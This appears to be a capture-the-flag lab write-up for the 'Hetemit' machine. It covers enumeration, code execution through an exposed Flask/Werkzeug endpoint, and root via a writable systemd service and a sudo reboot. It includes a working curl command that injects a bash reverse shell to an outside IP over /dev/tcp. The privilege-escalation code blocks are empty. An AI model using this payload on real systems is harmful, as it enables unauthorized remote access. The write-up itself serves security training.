linuxHetemit

Privilege Escalation by injecting a reverse shell into a writable systemd service and rebooting via sudo

Summary

  • Werkzeug development server exposed on port 50000 allowed Python code execution via POST request.

  • Reverse shell established by abusing Flask’s insecure deserializationarrow-up-right endpoint.

  • Privilege escalation achieved by modifying a systemd service file (pythonapp.service) and rebooting the machine using sudo.

🧡 Let's Unpack

πŸ” Enumeration

nmap -sV -p 50000 -A -Pn 192.168.197.117
  • 50000/tcp β†’ Werkzeug httpd 1.0.1 (Python 3.6.8)

  • Identified as vulnerable Flask debug interface

  • Other high-range ports filtered or unrelated


🧨 Initial Foothold via Flask Debug Interface

From here I took Help from this writeup -> https://kashz.gitbook.io/proving-grounds-writeups/pg-boxes/hetemit/7-50000_2arrow-up-right

curl -X POST --data-urlencode 'code=__import__("os").system("bash -i >& /dev/tcp/192.168.45.175/445 0>&1")#' http://192.168.197.117:50000/verify
  • Listener on:

βœ… Reverse shell landed as user cmeeks


πŸš€ Privilege Escalation

Clues from linpeas

  • Service files writable

  • sudo -l shows cmeeks can reboot the machine as root:

Exploitation Steps

  1. Inject reverse shell in pythonapp.service:

  1. Start listener:

  1. Trigger reboot:

βœ… Root shell obtained upon reboot!

Last updated